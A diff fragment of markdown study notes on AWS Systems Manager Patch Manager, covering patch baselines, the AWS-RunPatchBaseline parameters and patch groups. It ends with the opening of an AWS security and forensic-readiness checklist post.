The instance is rebooted if any updates were installed. + - (Exception: If the `RebootOption` parameter is set to `NoReboot` in the `AWS-RunPatchBaseline` document, the instance is not rebooted after Patch Manager runs.) + +--- + +## predefined and custom patch baselines + + +--- + +## How patch baseline rules work on Linux-based systems + +**The rules in a patch baseline** for Linux distributions operate differently based on the distribution type. +- Unlike patch updates on Windows Server instances, rules are evaluated on each instance to take the configured repos on the instance into consideration. +- Patch Manager uses the native package manager to drive the installation of patches approved by the patch baseline. + +### patch baseline rules work on Amazon Linux and Amazon Linux 2 + +On Amazon Linux and Amazon Linux 2, the patch selection process is as follows: + +1. On the instance, the YUM library accesses the `updateinfo.xml` file for each configured repo. + - If no `updateinfo.xml` file is found, whether patches are installed depend on settings for **Approved patches include non-security updates** and **Auto-approval**. + - For example, if non-security updates are permitted, they are installed when the auto-approval time arrives. + +2. Each **update notice** in `updateinfo.xml` includes `several attributes` + - Update notice attributes: denote the properties of the packages in the notice, as described in the following table. + - list of supported values: `describe-patch-properties` + - type + - Corresponds to the value of the `Classification key attribute` in the patch baseline's PatchFilter data type. + - Denotes the type of package included in the update notice. + - severity + - Corresponds to the value of the `Severity key attribute` patch baseline's PatchFilter data type. + - Denotes the severity of the packages included in the update notice. Usually only applicable for Security update notices. + - update_id + - Denotes the advisory ID, such as ALAS-2017-867. + - The advisory ID can be used in the ApprovedPatches or RejectedPatches attribute in the patch baseline. + - references + - Contains additional information about the update notice, such as a CVE ID (format: CVE-2017-1234567). + - The CVE ID can be used in the ApprovedPatches or RejectedPatches attribute in the patch baseline. + - updated + - Corresponds to `ApproveAfterDays` in the patch baseline. + - Denotes the released date (updated date) of the packages included in the update notice. + - A comparison between the current timestamp and the value of this attribute plus the ApproveAfterDays is used to determine if the patch is approved for deployment. + +3. The product of the instance is determined by SSM Agent. + - This attribute corresponds to the value of the Product key attribute in the patch baseline's [PatchFilter](https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_PatchFilter.html) data type. + +4. Packages are selected for the update according to the following guidelines. + - **Pre-defined default patch baselines** provided by AWS and **custom patch baselines** where the `Approved patches include non-security updates is not selected` + - For each update notice in `updateinfo.xml` + - the patch baseline is used as a filter, allowing only the qualified packages to be included in the update. + - If multiple packages are applicable after applying the patch baseline definition, the latest version is used. + - The equivalent yum command for this workflow is: + - `sudo yum update-minimal --sec-severity=critical,important --bugfix -y` + - **Custom patch baselines** where the `Approved patches include non-security updates check box is selected` + - In addition to applying the security updates that were selected from `updateinfo.xml`, + - Patch Manager applies nonsecurity updates that otherwise meet the patch filtering rules. + - The equivalent yum command for this workflow is: + - `sudo yum update --security --bugfix -y` + + + +### Key differences between Linux and Windows patching + +**Difference 1: Patch evaluation** +- **Linux** + - Systems Manager evaluates `patch baseline rules` and the `list of approved and rejected patches` on *each* managed instance. + - Systems Manager must evaluate patching on each instance because the service `retrieves the list of known patches and updates from the repositories` that are configured on the instance. +- **Windows** + - For Windows patching, Systems Manager evaluates `patch baseline rules` and the `list of approved and rejected patches` *directly in the service*. + - It can do this because Windows patches are pulled from a single repository (Windows Update). + +**Difference 2: `Not Applicable` patches** +- Due to the large number of available packages for Linux OSs, Systems Manager does not report details about patches in the *Not Applicable* state. +- A `Not Applicable` patch is, +- for example, +- a patch for Apache software when the instance does not have Apache installed. +- Systems Manager does report the number of `Not Applicable` patches in the summary, but if you call the [DescribeInstancePatches](https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_DescribeInstancePatches.html) API for an instance, the returned data does not include patches with a state of `Not Applicable`. This behavior is different from Windows. + + +**Difference 3: SSM document support** +- The `AWS-ApplyPatchBaseline` Systems Manager document (SSM document) doesn't support Linux instances. +- For applying patch baselines to **Linux, macOS, and Windows Server managed instances**, the recommended SSM document is `AWS-RunPatchBaseline`. + +**Difference 4: Application patches** +- The primary focus of Patch Manager is applying patches to OSs. +- However, you can also use Patch Manager to apply patches to some applications on the instances. +- **Linux** + - Patch Manager uses the configured repositories for updates, and does not differentiate between OSs and application patches . + - use Patch Manager to define which repositories to fetch updates from. +- **Windows** + - apply approval rules, as well as *Approved* and *Rejected* patch exceptions, for applications released by Microsoft, s + - uch as Microsoft Word 2016 and Microsoft Exchange Server 2016. + +--- + +# patching operations + +## patching configurations + +A **patching configuration** defines a `unique patching operation`. +- The configuration specifies + - the **instances** for patching, + - which **patch baseline** is to be applied, + - the **schedule** for patching, + - and typically, the **maintenance window** that the configuration is to be associated with. + +To create a patching configuration +- use the Configure patching page +- or run a one-time manual patching operation on a set of instances. + + +## SSM documents for patching instances + +8 Systems Manager documents (SSM documents) currently available to keep the managed instances patched with the latest security-related updates. + +recommend using just five of these documents in the patching operations. +- these five SSM documents provide you with a full range of patching options using AWS Systems Manager. +- Four of these documents were released later than the four legacy SSM documents they replace and represent expansions or consolidations of functionality. + +The five recommended SSM documents include: +- **AWS-ConfigureWindowsUpdate** +- **AWS-InstallWindowsUpdates** +- **AWS-RunPatchBaseline** +- **AWS-RunPatchBaselineAssociation** +- **AWS-RunPatchBaselineWithHooks** + +The four legacy SSM documents that are still available for use in some AWS Regions, but might be deprecated in the future, include: +- **AWS-ApplyPatchBaseline** +- **AWS-FindWindowsUpdates** +- **AWS-InstallMissingWindowsUpdates** +- **AWS-InstallSpecificWindowsUpdates** + + +### SSM documents recommended for patching instances + +#### AWS-ConfigureWindowsUpdate + +This SSM document prompts **Windows Update to download and install the specified updates and reboot instances as needed**. +- Supports configuring basic Windows Update functions and using them to install updates automatically (or to disable automatic updates). + - Use this document with State Manager to ensure Windows Update maintains its configuration. + - run it manually using Run Command to change the Windows Update configuration. +- Available in all AWS Regions. +- The available parameters in this document support + - specifying a category of updates to install (or whether to disable automatic updates), + - specifying the day of the week and time of day to run patching operations. + +This SSM document is most useful if you don't need strict control over Windows updates and don't need to collect compliance information + + +#### AWS-InstallWindowsUpdates + +This SSM document provides **basic patching functionality** +- in cases where you either want to install a specific update (using the `Include Kbs` parameter), +- or install patches with specific classifications or categories but don't need patch compliance information. + +**Replaces legacy SSM documents:** +- **AWS-FindWindowsUpdates** +- **AWS-InstallMissingWindowsUpdates** +- **AWS-InstallSpecificWindowsUpdates** + +> The three legacy documents perform different functions +> - can be achieve by using different parameter settings with the SSM document **AWS-InstallWindowsUpdates**. + +--- + +#### AWS-RunPatchBaseline + +> Replaces legacy documents: +> AWS-ApplyPatchBaseline +> The legacy document applies only to Windows Server instances +> and does not provide support for application patching. + +1. Available in all AWS Regions. +2. This SSM document **control patch approvals using the patch baseline currently specified as the "default" for an OS type**. + - Installs patches on the instances or scans instances to determine whether any qualified patches are missing. + - This document supports Linux, macOS, and Windows Server instances. + - The document will perform the appropriate actions for each platform. + - can apply patches for both OSs and applications. + - On Windows Server, application support is limited to updates for Microsoft applications. + - For Linux OSs, compliance information is provided for patches from both the default source repository configured on an instance and from any alternative source repositories you specify in a custom patch baseline. + +3. This SSM document performs patching operations on instances for both security related and other types of updates . + - When the document is run, it uses the **patch baseline currently specified as the "default"** for an OS type if no **patch group** is specified. + - Otherwise, it uses the **patch baseline that is associated with the patch group** + +4. Reports patch compliance information that you can view using the Systems Manager Compliance tools. + - These tools provide you with insights on the patch compliance state of the instances, + - such as which instances are missing patches and what those patches are. +5. When you use `AWS-RunPatchBaseline`, patch compliance information is recorded using the `PutInventory` API command. + + +**[ Windows ]** + +On Windows Server instances, the **AWS-RunPatchBaseline** document +- downloads and invokes a PowerShell module +- downloads a **snapshot of the patch baseline** that applies to the instance. +- This **patch baseline snapshot** contains a `list of approved patches` that is compiled by querying the patch baseline against a Windows Server Update Services (WSUS) server. +- this list is passed to the Windows Update API, which controls downloading and installing the approved patches as appropriate. + + +**[ Linux ]** + +On Linux instances, the **AWS-RunPatchBaseline** document +- invokes a Python module +- downloads a **snapshot of the patch baseline** that applies to the instance. +- This **patch baseline snapshot** uses the `defined rules and lists of approved and blocked patches` to drive the appropriate package manager for each instance type: + - Amazon Linux, Amazon Linux 2, CentOS, Oracle Linux, and RHEL 7 instances use YUM. For YUM operations, Patch Manager requires `Python 2.6` or later. + - RHEL 8 instances use DNF. For DNF operations, Patch Manager requires `Python 2` or `Python 3`. (Neither version is installed by default on RHEL 8. You must install one or the other manually.) + - Debian Server and Ubuntu Server instances use APT. For APT operations, Patch Manager requires `Python 3`. + - SUSE Linux Enterprise Server instances use Zypper. For Zypper operations, Patch Manager requires `Python 2.6` or later. + + +**[ macOS ]** + +On macOS instances, the `AWS-RunPatchBaseline` document +- invokes a Python module +- downloads a **snapshot of the patch baseline** that applies to the instance. +- Next, a Python subprocess invokes the AWS Command Line Interface (AWS CLI) on the instance to `retrieve the installation and update information` for the specified package managers and to drive the appropriate package manager for each update package. + + +**snapshot** +- Each snapshot is specific to an AWS account, patch group, OS, and snapshot ID. +- The snapshot is delivered through a presigned S3 URL, which expires 24 hours after the snapshot is created. +- After the URL expires, to apply the same snapshot content to other instances, generate a new presigned Amazon S3 URL up to three days after the snapshot was created. + +After all approved and applicable updates have been installed, with reboots performed as necessary, patch compliance information is generated on an instance and reported back to Patch Manager. +- `RebootOption`: `NoReboot` in the `AWS-RunPatchBaseline` document, the instance is not rebooted after Patch Manager runs. + + +**AWS-RunPatchBaseline parameters** +- supports five parameters. +- The `Operation` parameter is required. +- The `InstallOverrideList`, `BaselineOverride`, and `RebootOption` parameters are optional. +- `Snapshot-ID` is technically optional, but we recommend that you supply a custom value for it when you run `AWS-RunPatchBaseline` outside of a maintenance window. +- Patch Manager can supply the custom value automatically when the document is run as part of a maintenance window operation. +- + +Parameter name: `Operation` +- **Usage**: Required. +- **Options**: + - `Scan` + - `AWS-RunPatchBaseline` determines the patch compliance state of the instance and reports this information back to Patch Manager. + - `Scan` does not prompt updates to be installed or instances to be rebooted. + - Instead, the operation identifies where updates are missing that are approved and applicable to the instance. + - `Install` + - `AWS-RunPatchBaseline` attempts to install the approved and applicable updates that are missing from the instance. + - Patch compliance information generated as part of an `Install` operation does not list any missing updates, but might report updates that are in a failed state if the installation of the update did not succeed for any reason. + - Whenever an update is installed on an instance, the instance is rebooted to ensure the update is both installed and active. + - Exception: If the `RebootOption` parameter is set to `NoReboot` in the `AWS-RunPatchBaseline` document, the instance is not rebooted after Patch Manager runs. + +If a patch specified by the baseline rules is installed *before* Patch Manager updates the instance, the system might not reboot as expected. This can happen when a patch is installed manually by a user or installed automatically by another program, such as the `unattended-upgrades` package on Ubuntu Server. + + + +Parameter name: `Snapshot ID` +- **Usage**: Optional. +- `Snapshot ID` is a unique ID (GUID) used by Patch Manager +- to ensure that a set of instances that are patched in a single operation all have the exact same set of approved patches +- Although the parameter is defined as optional, our best practice recommendation depends on whether or not you are running **AWS-RunPatchBaseline** in a maintenance window, as described in the following table. + +**AWS-RunPatchBaseline best practices** + +Running AWS-RunPatchBaseline inside a maintenance window +- Do not supply a Snapshot ID. Patch Manager will supply it for you. +- Systems Manager provides a GUID value based on the `maintenance window execution ID`. +- This ensures that a correct ID is used for all the invocations of `AWS-RunPatchBaseline` in that maintenance window. +- If you do specify a value in this scenario, note that the snapshot of the patch baseline might not remain in place for more than three days. +- After that, a new snapshot will be generated even if you specify the same ID after the snapshot expires. + + +Running AWS-RunPatchBaseline outside of a maintenance window +- Generate and specify a custom GUID value for the Snapshot ID. +- When you are not using a maintenance window to run `AWS-RunPatchBaseline`, we recommend that you generate and specify a unique Snapshot ID for each patch baseline, particularly if you are running the `AWS-RunPatchBaseline` document on multiple instances in the same operation. If you do not specify an ID in this scenario, Systems Manager generates a different Snapshot ID for each instance the command is sent to. This might result in varying sets of patches being specified among the instances. For instance, say that you are running the `AWS-RunPatchBaseline` document directly via Run Command, a capability of AWS Systems Manager, and targeting a group of 50 instances. Specifying a custom Snapshot ID results in the generation of a single baseline snapshot that is used to evaluate and patch all the instances, ensuring that they end up in a consistent state. + +> You can use any tool capable of generating a GUID to generate a value for the Snapshot ID parameter. +> For example, in PowerShell, you can use the `New-Guid` cmdlet to generate a GUID in the format of `12345699-9405-4f69-bc5e-9315aEXAMPLE`. | + + + +Parameter name: `InstallOverrideList` +- **Usage**: Optional. +- `InstallOverrideList` lets you specify an `https/S3 path-style URL` to a list of patches to be installed. +- This patch installation list, in YAML format, overrides the patches specified by the current default patch baseline. +- provides more granular control over which patches are installed on the instances. +- Be aware that **compliance reports** reflect `patch states` according to what’s specified in the patch baseline, not what you specify in an `InstallOverrideList` list of patches. + - so Scan operations ignore the `InstallOverrideList` parameter. + - This is to ensure that compliance reports consistently reflect patch states according to policy rather than what was approved for a specific patching operation. + +**Valid URL formats** +- **https URL format**: + + ``` + https://s3.amazonaws.com/DOC-EXAMPLE-BUCKET/my-windows-override-list.yaml + ``` +- **Amazon S3 path-style URL**: + + ``` + s3://DOC-EXAMPLE-BUCKET/my-windows-override-list.yaml + ``` + +- Valid YAML content formats + - The formats to specify patches in the list depends on the OS of the instance. + - The general format, however, is as follows: + + ``` + patches: + - + id: '{patch-d}' + title: '{patch-title}' + {additional-fields}:{values} + ``` + + +[ Linux ] + +**id** +The **id** field is required. Use it to specify patches using the package name and architecture. For example: `'dhclient.x86_64'`. You can use wildcards in id to indicate multiple packages. For example: `'dhcp*'` and `'dhcp*1.*'`. + +**Title** +The **title** field is optional, but on Linux systems it does provide additional filtering capabilities. If you use **title**, it should contain the package version information in the one of the following formats: + +YUM/SUSE Linux Enterprise Server (SLES): + +``` +{name}.{architecture}:{epoch}:{version}-{release} +``` + +APT + +``` +{name}.{architecture}:{version} +``` + +For Linux patch titles, you can use one or more wildcards in any position to expand the number of package matches. For example: `'*32:9.8.2-0.*.rc1.57.amzn1'`. + +For example: +- apt package version 1.2.25 is currently installed on the instance, but version 1.2.27 is now available. +- You add apt.amd64 version 1.2.27 to the patch list. It depends on apt utils.amd64 version 1.2.27, but apt-utils.amd64 version 1.2.25 is specified in the list. + +In this case, apt version 1.2.27 will be blocked from installation and reported as “Failed-NonCompliant.” + + + +Parameter name: `RebootOption` +- **Usage**: Optional. +- **Options**: + - `RebootIfNeeded` + - the instance is rebooted if + - Patch Manager installed new patches, + - or if it detected any patches with a status of `INSTALLED_PENDING_REBOOT` during the `Install` operation. + - The `INSTALLED_PENDING_REBOOT` status can mean that the option `NoReboot` was selected the last time the `Install` operation was run. + - (Patches installed outside of Patch Manager are never given a status of `INSTALLED_PENDING_REBOOT`.) + - When you choose the `RebootIfNeeded` option, Patch Manager does not evaluate whether a reboot is *required* by the patch. + - A reboot occurs whenever there are missing packages or packages with a status of `INSTALLED_PENDING_REBOOT`. + + - `NoReboot` + - Patch Manager does not reboot an instance even if it installed patches during the `Install` operation. + - This option is useful if you know that the instances don't require rebooting after patches are applied, or you have applications or processes running on an instance that should not be disrupted by a patching operation reboot. + - It is also useful when you want more control over the timing of instance reboots, such as by using a maintenance window. + - If you choose the `NoReboot` option and a patch is installed, the patch is assigned a status of `InstalledPendingReboot`. The instance itself, however, is marked as `Non-Compliant`. After a reboot occurs and a `Scan` operation is run, the instance status is updated to `Compliant`. + +**Patch installation tracking file**: +- To track patch installation, especially patches that were installed since the last system reboot, +- Systems Manager maintains a file on the managed instance. +- Do not delete or modify the tracking file. If this file is deleted or corrupted, the patch compliance report for the instance is inaccurate. +- If this happens, reboot the instance and run a patch Scan operation to restore the file + +This tracking file is stored in the following locations on the managed instances: +- Linux OSs: + - `/var/log/amazon/ssm/patch-configuration/patch-states-configuration.json` + - `/var/log/amazon/ssm/patch-configuration/patch-inventory-from-last-operation.json` +- Windows Server OS: + - `C:\ProgramData\Amazon\PatchBaselineOperations\State\PatchStatesConfiguration.json` + - `C:\ProgramData\Amazon\PatchBaselineOperations\State\PatchInventoryFromLastOperation.json` + +Parameter name: `BaselineOverride` +- **Usage**: Optional. +- define patching preferences at runtime using the `BaselineOverride` parameter. +- This baseline override is maintained as a JSON object in an S3 bucket. +- It ensures patching operations use the provided baselines that match the host OS instead of applying the rules from the default patch baseline + +--- + +#### AWS-RunPatchBaselineAssociation + +This SSM document **Installs patches on the instances or scans instances** to determine whether any qualified patches are missing. +- Available in all commercial AWS Regions. +- differs from **AWS-RunPatchBaseline** as it supports the use of tags + - to identify which patch baseline to use with a set of targets when it runs. +- In addition, patch compliance data is compiled in terms of a specific State Manager association. +- The patch compliance data collected by **AWS-RunPatchBaselineAssociation** is recorded using the `PutComplianceItems` API command instead of the `PutInventory` command. +- This prevents compliance data that isn't associated with this particular association from being overwritten. +- For Linux OSs, compliance information is provided for patches from both the default source repository configured on an instance and from any alternative source repositories you specify in a custom patch baseline. + +**Replaces legacy documents:** +- **None** + + +#### AWS-RunPatchBaselineWithHooks + +This SSM document, with optional hooks, can be used to run at three points during the patching cycle. +- Available in all commercial AWS Regions. +- differs from **AWS-RunPatchBaseline** in its Install operation. +- supports **lifecycle hooks** that run at designated points during instance patching. + - Because patch installations sometimes require instances to reboot, the patching operation is divided into two events, for a total of three hooks that support custom functionality. + - The first hook is before the `Install with NoReboot` operation. + - The second hook is after the `Install with NoReboot` operation. + - The third hook is available after the reboot of the instance. + +**Replaces legacy documents:** +- **None** + + +### Legacy SSM documents for patching instances + +The following four SSM documents are still available for use in the patching operations in some AWS Regions. However, they might be deprecated in the future, so we do not recommend their use. + + +#### AWS-ApplyPatchBaseline + +#### AWS-InstallMissingWindowsUpdates + +#### AWS-InstallSpecificWindowsUpdates + + +--- + +# Patch baselines + + +## predefined and custom patch baselines + + patch baseline +- defines which patches are approved for installation on the instances. +- You can + - specify approved or rejected patches one by one. + - create auto-approval rules to specify that certain types of updates (for example, critical updates) should be automatically approved. + - The rejected list overrides both the rules and the approve list. + +To use a list of approved patches to install specific packages +- first remove all auto-approval rules. +- If you explicitly identify a patch as rejected, it will not be approved or installed, even if it matches all of the criteria in an auto-approval rule. +- Also, a patch is installed on an instance only if it applies to the software on the instance, even if the patch has otherwise been approved for the instance. + + +Patch Manager provides +1. predefined patch baselines + - for each of the OSs supported by Patch Manager. + - use these baselines as they are currently configured (you can't customize them) +2. create the own custom patch baselines + - for greater control over which patches are approved or rejected for the environment. + - Also, the predefined baselines assign a compliance level of `Unspecified` to all patches installed using those baselines. + - For compliance values to be assigned, you can create a copy of a predefined baseline and specify the compliance values you want to assign to patches. + + +## predefined baselines + +The following table describes the predefined patch baselines provided with Patch Manager. + +1. `AWS-AmazonLinuxDefaultPatchBaseline` Amazon Linux + - Approves all OS patches that are + - classified as "Security" or "Bugfix" + - and that have a severity level of "Critical" or "Important". + - Patches are **auto-approved seven days** after release. + +2. `AWS-AmazonLinux2DefaultPatchBaseline` Amazon Linux 2 + - Approves all OS patches that are + - classified as "Security" or "Bugfix" + - and that have a severity level of "Critical" or "Important". + - Patches are **auto-approved seven days** after release. + +3. `AWS-CentOSDefaultPatchBaseline` CentOS + - including nonsecurity updates + - Approves all updates **seven days after they become available** + + +4. `AWS-DebianDefaultPatchBaseline` Debian Server + - **Immediately approves** all OS security-related patches that have a priority of "Required", "Important", "Standard," "Optional," or "Extra." + - There is no wait before approval because reliable release dates are not available in the repos. + + +5. `AWS-MacOSDefaultPatchBaseline` macOS + - Approves all OS patches that are classified as "Security". Also approves all packages with a current update. + + +6. `AWS-OracleLinuxDefaultPatchBaseline` Oracle Linux + - Approves all OS patches that are + - classified as "Security" or "Bugfix" + - have a severity level of "Important" or "Moderate". + - Patches are **auto-approved seven days** after release. + +7. `AWS-RedHatDefaultPatchBaseline` Red Hat Enterprise Linux (RHEL) + - Approves all OS patches that are + - classified as "Security" or "Bugfix" + - and that have a severity level of "Critical" or "Important". + - Patches are **auto-approved seven days** after release. + + +8. `AWS-SuseDefaultPatchBaseline` SUSE Linux Enterprise Server (SLES) + - Approves all OS patches that are classified as "Security" and with a severity of "Critical" or "Important". + - Patches are **auto-approved seven days** after release. + + +9. `AWS-UbuntuDefaultPatchBaseline` Ubuntu Server + - Immediately approves all OS security-related patches that have a priority of "Required", "Important", "Standard," "Optional," or "Extra." + - There is no wait before approval because reliable release dates are not available in the repos. + + +10. `AWS-DefaultPatchBaseline` Windows Server + - Approves all Windows Server OS patches that are classified as "CriticalUpdates" or "SecurityUpdates" and that have an MSRC severity of "Critical" or "Important". + - Patches are **auto-approved seven days** after release. + + +11. `AWS-WindowsPredefinedPatchBaseline-OS` Windows Server + - Approves all Windows Server OS patches that are classified as "CriticalUpdates" or "SecurityUpdates" and that have an MSRC severity of "Critical" or "Important". + - Patches are **auto-approved seven days** after release. + +12. `AWS-WindowsPredefinedPatchBaseline-OS-Applications` Windows Server + - For the Windows Server OS, + - approves all patches that are classified as "CriticalUpdates" or "SecurityUpdates" + - and that have an MSRC severity of "Critical" or "Important". + - For Microsoft applications, + - approves all patches. + - Patches for both OS and applications are **auto-approved seven days** after release. + + +## custom baselines + +create the own patch baseline +- you can choose which patches to auto-approve by using the following categories . + - OS : + - Windows, Amazon Linux, Ubuntu Server, and so on. + - Product name (for OSs) : + - For example, RHEL 6.5, Amazon Linux 2014.09, Windows Server 2012, Windows Server 2012 R2, and so on. + - Product name (for Microsoft applications on Windows Server only) : + - For example, Word 2016, BizTalk Server, and so on. + - Classification : + - For example, critical updates, security updates, and so on. + - Severity : + - For example, critical, important, and so on. + +- For each approval rule, you can choose to specify an **auto-approval delay** or specify a **patch approval cutoff date**. + - Because it's not possible to reliably determine the release dates of update packages for Ubuntu Server, the auto-approval options are not supported for this OS. + - An **auto-approval delay**: + - the number of days to wait after the patch was released, before the patch is automatically approved for patching. + - For example + - create a rule using the `CriticalUpdates` classification + - and configure it for seven days auto-approval delay, + - then a new critical patch released on July 7 is automatically approved on July 14. + - If a Linux repository doesn’t provide release date information for packages, + - Systems Manager uses the build time of the package as the auto-approval delay for Amazon Linux, Amazon Linux 2, RHEL, and CentOS. + - If the system isn't able to find the build time of the package, Systems Manager treats the auto-approval delay as having a value of zero. + + - **auto-approval cutoff date**, + - Patch Manager automatically applies all patches released on or before that date. + - For example + - specify July 7, 2020, as the cutoff date, + - no patches released on or after July 8, 2020, are installed automatically. + +- specify a compliance severity level. + - If an approved patch is reported as missing, `Compliance Level` is the severity of the compliance violation. + +> multiple **patch baselines** - different **auto-approval delays or cutoff dates** +> deploy patches at different rates to different instances. +> For example +> create separate patch baselines, auto-approval delays, andcutoff dates for development and production environments. +> This enables you to test patches in the development environment before they get deployed in the production environment. + +to create a patch baseline: +- Patch Manager provides one predefined patch baseline for each supported OS. + - These predefined patch baselines are used as the default patch baselines for each OS type + - unless you create the own patch baseline and designate it as the default for the corresponding OS type. + +- For Windows Server, three predefined patch baselines are provided. + - The configuration settings in these two patch baselines are the same. + - `AWS-DefaultPatchBaseline`: the default patch baseline for Windows Server instances, unless specify a different patch baseline. + - `AWS-WindowsPredefinedPatchBaseline-OS`, was created to distinguish it from the third predefined patch baseline for Windows Server. + - support only OS updates on the Windows OS itself . + - `AWS-WindowsPredefinedPatchBaseline-OS-Applications`, can be used to apply patches to both the Windows Server OS and supported Microsoft applications. + +- For on-premises servers and virtual machines (VMs) + - Patch Manager attempts to use the custom default patch baseline. + - If no custom default patch baseline exists, the system uses the **predefined patch baseline** for the corresponding OS. + + +- If a patch is listed as both approved and rejected in the same patch baseline, the patch is rejected. + +- An instance can have only one patch baseline defined for it + +- The formats of **package names add to lists of approved/rejected patches for a patch baseline** depend on the type of OS you are patching. + +--- + + +# patch groups + +use a **patch group** to associate instances with a specific patch baseline in Patch Manager. +- ensure deploying the appropriate patches, based on the associated patch baseline rules, to the correct set of instances. +- avoid deploying patches before they have been adequately tested. +- For example + - create patch groups for different environments (such as Development, Test, and Production) + - and register each patch group to an appropriate patch baseline. +- A patch group can be registered with only one patch baseline for each operating system type. +- An instance can only be in one patch group. + + +run `AWS-RunPatchBaseline` +- target managed instances using **instance ID or tags**. +- SSM Agent and Patch Manager then evaluate which patch baseline to use based on the patch group value that you added to the instance. + +create a patch group by using EC2 tags. +- unlike other tagging scenarios across Systems Manager, a patch group *must* be defined with the tag key: **Patch Group**. +- Note that the key is case-sensitive. +- You can specify any value, for example "web servers," but the key must be **Patch Group**. + + +After you create a patch group and tag instances +- register the patch group with a patch baseline. +- Registering the patch group with a patch baseline ensures that the instances within the patch group use the rules defined in the associated patch baseline. + + +## How it works + +when a maintenance window is configured to send a command to patch using Patch Manager. +- the system `runs the task to apply a patch baseline to an instance` +- **SSM Agent** verifies that a **patch group** value is defined for the instance. +- If the instance is assigned to a patch group + - Patch Manager then verifies which patch baseline is registered to that group. + - if a patch baseline is found for that group, Patch Manager notifies SSM Agent to use the associated patch baseline. +- if an instance isn't configured for a patch group + - Patch Manager automatically notifies SSM Agent to use the currently configured default patch baseline. + + +![\[Diagram showing how patch baselines are determined when performing patching operations.\]](https://docs.aws.amazon.com/systems-manager/latest/userguide/images/patch-groups-how-it-works.png) + +three groups of EC2 instances: + +| EC2 instances group | Tags | +| ------------------- | -------------------------------------------------- | +| Group 1 | `key=OS,value=Windows` `key=Patch Group,value=DEV` | +| Group 2 | `key=OS,value=Windows` | +| Group 3 | `key=OS,value=Windows` `key=Patch Group,value=QA` | + + +two Windows Server patch baselines: + +| Patch baseline ID | Default | Associated patch group | +| ---------------------- | ------- | ---------------------- | +| `pb-0123456789abcdef0` | Yes | `Default` | +| `pb-9876543210abcdef0` | No | `DEV` | + + +**patching operations process flow** + +The general process to scan or install patches using Run Command: + +1. **Send a command to patch**: + - Use the Systems Manager console, SDK, AWS Command Line Interface (AWS CLI), or AWS Tools for Windows PowerShell + - to send a Run Command task using the document `AWS-RunPatchBaseline`. + - The diagram shows a **Run Command task**: to patch managed instances by targeting the tag `key=OS,value=Windows`. + +2. **Patch baseline determination**: + - SSM Agent verifies the patch group tags applied to the EC2 instance and queries Patch Manager for the corresponding patch baseline. + + - **Matching patch group value associated with patch baseline:** + + 1. SSM Agent receives the command issued in Step 1 to begin a patching operation. + 2. SSM Agent validates that the EC2 instances have the **patch group tag-value** `DEV` applied + 3. queries Patch Manager for an associated patch baseline. + 4. Patch Manager verifies that patch baseline `pb-9876543210abcdef0` has the patch group `DEV` associated and notifies SSM Agent. + 5. SSM Agent `retrieves a patch baseline snapshot` from Patch Manager based on the **approval rules and exceptions** configured in `pb-9876543210abcdef0` and proceeds to the next step. + + - **No patch group tag added to instance:** + + 1. SSM Agent receives the command issued in Step 1 to begin a patching operation. + 2. SSM Agent validates that the EC2 instances don't have a `Patch Group` tag applied + 3. SSM Agent queries Patch Manager for the **default Windows patch baseline**. + 4. Patch Manager verifies that the default Windows Server patch baseline is `pb-0123456789abcdef0` and notifies SSM Agent. + 5. SSM Agent `retrieves a patch baseline snapshot` from Patch Manager based on the approval rules and exceptions configured in the default patch baseline `pb-0123456789abcdef0` and proceeds to the next step. + + - **No matching patch group value associated with a patch baseline:** + + 1. SSM Agent receives the command issued in Step 1 to begin a patching operation. + 2. SSM Agent validates that the EC2 instances have the patch group tag-value `QA` applied + 3. queries Patch Manager for an associated patch baseline. + 4. Patch Manager does not find a patch baseline that has the patch group `QA` associated. + 5. Patch Manager notifies SSM Agent to use the **default Windows patch baseline** `pb-0123456789abcdef0`. + 6. SSM Agent `retrieves a patch baseline snapshot` from Patch Manager based on the approval rules and exceptions configured in the default patch baseline `pb-0123456789abcdef0` and proceeds to the next step. + +3. **Patch scan or install**: + - After determining the appropriate patch baseline to use + - SSM Agent begins either `scanning for or installing patches` based on the operation value specified in Step 1. + - The patches that are scanned for or installed are determined by the approval rules and patch exceptions defined in the **patch baseline snapshot** provided by Patch Manager. + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/Security/2020-07-18-overallsecurity.md b/_posts/01Cloud/01AWS/Security/2020-07-18-overallsecurity.md new file mode 100644 index 00000000000..2a98d1d9e6f --- /dev/null +++ b/_posts/01Cloud/01AWS/Security/2020-07-18-overallsecurity.md @@ -0,0 +1,626 @@ +--- +title: AWS - Security - Cloud Proactive Security and Forensic Readiness +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CloudSecurity] +tags: [AWS, SecurityControl, ZeroTrust] +toc: true +image: +--- + +- [AWS Cloud: Proactive Security and Forensic Readiness](#aws-cloud-proactive-security-and-forensic-readiness) + - [1. Identity and Access Management in AWS](#1-identity-and-access-management-in-aws) + - [Best-practice checklist](#best-practice-checklist) + - [2. Infrastructure-level protection in AWS](#2-infrastructure-level-protection-in-aws) + - [Best-practice checklist](#best-practice-checklist-1) + - [3. Data protection in AWS](#3-data-protection-in-aws) + - [Best-practice checklist](#best-practice-checklist-2) + - [4. Detective controls in AWS Cloud](#4-detective-controls-in-aws-cloud) + - [best practice checklist](#best-practice-checklist-3) + - [5. Incident Response in AWS](#5-incident-response-in-aws) + - [Best-practice checklist](#best-practice-checklist-4) +- [security](#security) + - [Zero Trust](#zero-trust) + - [Designing on AWS using Zero Trust principles](#designing-on-aws-using-zero-trust-principles) + - [AWS best practice architectures](#aws-best-practice-architectures) + - [Apply Zero Trust](#apply-zero-trust) + + +ref: +- [web](https://cloudsecurityalliance.org/search/?page=1&s=AWS+Cloud%3A+Proactive+Security+and+Forensic+Readiness+) + +--- + +# AWS Cloud: Proactive Security and Forensic Readiness + +checklist for proactive security and forensic readiness in the AWS cloud environment. + +Five-part best practice checklist +1. Identity and Access Management in AWS +1. Infrastructure Level Protection in AWS +1. Data Protection in AWS +1. Detective Controls in AWS +1. Incident Response in AWS + +--- + + +## 1. Identity and Access Management in AWS + +AWS has numerous features that enable granular control for access to an account’s resources by means of the Identity and Access Management (IAM) service. +- IAM provides control over + - who can use AWS resources (authentication) + - and how they can use those resources (authorization). + +The following list focuses on +- limiting access to, and use of, root account and user credentials; +- defining roles and responsibilities of system users; +- limiting automated access to AWS resources; +- protecting access to data stored in storage buckets – including important data stored by services such as CloudTrail. + +### Best-practice checklist + +1. protect the access/use of AWS root account credentials + - Lock away AWS account (root) login credentials + - Use multi-factor 